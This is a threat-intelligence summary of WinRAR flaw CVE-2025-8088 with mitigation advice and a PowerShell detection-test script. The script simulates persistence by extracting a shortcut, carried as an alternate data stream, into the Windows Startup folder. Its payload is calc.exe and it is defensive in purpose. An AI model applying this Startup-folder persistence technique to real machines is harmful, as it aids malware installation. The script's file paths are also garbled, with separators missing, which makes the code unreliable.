CVE-2025-8088: Diverse Threat Actors Exploit a Critical WinRAR Flaw

Summary

Google Threat Intelligence Group reports broad exploitation of CVE-2025-8088, a high-severity WinRAR path traversal flaw. Adversaries use it to place malicious files into the Windows Startup folder to gain persistence. Both state-sponsored and financially motivated groups are leveraging the exploit to deliver RATs, downloaders, and follow-on payloads. The report shares indicators plus detection and mitigation guidance.

Investigation

Researchers tied several actors—UNC4895, APT44, Turla, and a PRC-based group—to crafted RAR archives that abuse Alternate Data Streams (ADS) to drop LNK, HTA, or BAT files into Startup. Some archives staged LNK handlers that launch HTA or BAT at logon. Malware families observed include NESTPACKER, POISONIVY, XWorm, and AsyncRAT. Shared infrastructure and reused exploit code appeared across campaigns targeting Ukraine and other regions.

Mitigation

Upgrade WinRAR to 7.13+ and enforce application allow-lists. Reduce ADS exposure where possible and monitor the Startup folder for new LNK, HTA, BAT, or script files. Apply Google Safe Browsing and email security controls to stop malicious archives earlier.

Response

Detect Startup-path file creation tied to RAR extraction, especially shortcuts and scripts. Correlate alerts with known filenames and hashes, quarantine affected hosts, confirm the malware family, and remove Startup persistence during incident response.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:
  An attacker crafts a malicious RAR archive that embeds a Windows shortcut (malicious.lnk) as an Alternate Data Stream attached to a benign‑looking PDF (innocuous.pdf). Leveraging CVE‑2025‑8088, the attacker knows WinRAR will extract the ADS directly into the target path without sanitising the stream name. The archive is delivered to the victim machine (e.g., via phishing). The attacker then runs WinRAR in silent mode to extract the payload straight into the current user’s Startup folder, achieving persistence.

  1. Create the malicious LNK payload (a shortcut that launches cmd.exe /c calc.exe).
  2. Attach the LNK as an ADS to innocuous.pdf inside the RAR.
  3. Deliver the RAR to the victim.
  4. Execute WinRAR extraction to the Startup directory.

• Regression Test Script:

  # --------------------------------------------------------------
  # PowerShell script to simulate CVE‑2025‑8088 LNK‑ADS persistence
  # --------------------------------------------------------------
  
  # 1. Variables
  $tempDir      = "$envTEMPLNK_ADS_Test"
  $pdfPath      = "$tempDirinnocuous.pdf"
  $lnkPath      = "$tempDirmalicious.lnk"
  $rarPath      = "$tempDirmalicious.rar"
  $startupPath  = "$envAPPDATAMicrosoftWindowsStart MenuProgramsStartup"
  
  # Ensure clean workspace
  Remove-Item -Recurse -Force $tempDir -ErrorAction SilentlyContinue
  New-Item -ItemType Directory -Path $tempDir | Out-Null
  
  # 2. Create a dummy PDF (empty file works for ADS demonstration)
  New-Item -ItemType File -Path $pdfPath | Out-Null
  
  # 3. Create malicious LNK pointing to calculator
  $ws = New-Object -ComObject WScript.Shell
  $shortcut = $ws.CreateShortcut($lnkPath)
  $shortcut.TargetPath = "calc.exe"
  $shortcut.WindowStyle = 1
  $shortcut.Save()
  
  # 4. Pack PDF and attach LNK as ADS using WinRAR CLI
  #    The syntax creates an ADS named "malicious.lnk" attached to the PDF.
  & "C:Program FilesWinRARWinRAR.exe" a -df $rarPath $pdfPath "$lnkPath:malicious.lnk"
  
  # 5. Extract RAR directly to the Startup folder (silent mode)
  & "C:Program FilesWinRARWinRAR.exe" x -inul $rarPath $startupPath
  
  # 6. Verify that the LNK now exists in Startup (will be visible as a regular .lnk)
  $extractedLnk = Join-Path $startupPath "malicious.lnk"
  if (Test-Path $extractedLnk) {
      Write-Host "[+] Malicious shortcut deployed to Startup: $extractedLnk"
  } else {
      Write-Error "[-] Shortcut not found – extraction may have failed."
  }
  
  # --------------------------------------------------------------
  # End of script
  # --------------------------------------------------------------

• Cleanup Commands:

  # Remove the malicious shortcut from Startup
  $lnk = "$envAPPDATAMicrosoftWindowsStart MenuProgramsStartupmalicious.lnk"
  if (Test-Path $lnk) { Remove-Item -Force $lnk }
  
  # Delete temporary files and directories
  $temp = "$envTEMPLNK_ADS_Test"
  if (Test-Path $temp) { Remove-Item -Recurse -Force $temp }

End of Report